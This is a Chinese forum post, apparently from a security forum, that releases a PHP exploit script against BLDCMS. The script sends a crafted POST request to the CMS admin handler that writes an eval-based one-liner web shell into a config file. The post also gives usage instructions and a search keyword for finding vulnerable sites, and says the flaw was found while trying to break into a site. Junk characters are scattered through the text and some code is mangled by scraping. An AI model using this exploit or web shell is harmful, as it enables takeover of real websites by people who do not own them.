BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞

( c) _0 G( f- g) g4 N7 t. R0 Y
4 r& T, T) F$ \! a8 ^/ F' |3 s话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

, b, y+ k$ S6 r) ]+ ]4 w既然都有人发了 我就把我之前写好的EXP放出来吧
# H9 \9 k/ d! D4 I* i
view source print?01.php;">
% G- Q; }+ M( s, ?0 u02.<!--?php
03.echo "-------------------------------------------------------------------
04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
' _2 E; U  m& h: \4 O" c! e8 H1 b06.
$ a5 G! S, k7 r07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
: c5 R0 n9 U/ {8 t08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
: S' ~7 R9 `. Z6 b* C( x13.
  `% ^( p2 o5 `7 r: X14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
' U& s/ y4 N) n" `# }* K15.
) x  c4 Z/ K1 q  p16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
18.$dir=$argv[2];
19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
" i8 M6 \9 A# J! d/ J8 o+ Q21.if (emptyempty($pass)||emptyempty($url))
5 h. H" f; h" a) S$ n) J22.{exit("请输入参数");}
23.else
. F( w# o" A& |# Z3 @24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
& E8 E! K6 B2 O5 y% K27.al;
% u, J0 B4 h* g) f28.$length = strlen($fuckdata);
- ]+ p7 `- V- M/ Z9 _' n; {29.function getshell($url,$pass)
30.{
* |4 N& t# z; D" _8 f1 s" [$ H31.global $url,$dir,$pass,$eval,$length,$fuckdata;
! C, @/ G5 T/ ^; [32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
+ [6 K3 l# u1 o: {( X5 G2 D) y# b33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
1 i; r2 D( P  C# ?$ j  S7 s' U35.$header .= "Host:".$url."\r\n";
! _! g( q) s7 z2 ~! _( {  j36.$header .= "Content-Length: ".$length."\r\n";
; q) }# ~6 m; Y37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
1 s* C7 ?! I0 e8 t% c" s/ E, O39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
2 e. @, t( M" x0 ?44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
* w# @0 u) Q7 c0 t" p( w3 n- r47.else
48.{
- v) h* ~/ k1 u# _  p3 k% T2 ]49.$receive = '';
50.while (!feof($fp)) {
* _) z8 S( F2 I/ L5 J6 j51.$receive .= @fgets($fp, 1000);
52.}
( X9 e; c. \, F) ?  A' |53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
3 k$ a, W* J; U/ L2 t' n56.GPC是否=off)";
57.}}
: |" C9 _( y& \58.}
+ W, @. x" U# t" q% e! ~6 |8 D- m59.}
60.getshell($url,$pass);
0 S) k% h- k. Y& j5 D2 A& X61.?-->
" L- U. W" b7 Z2 _$ U4 e


by 数据流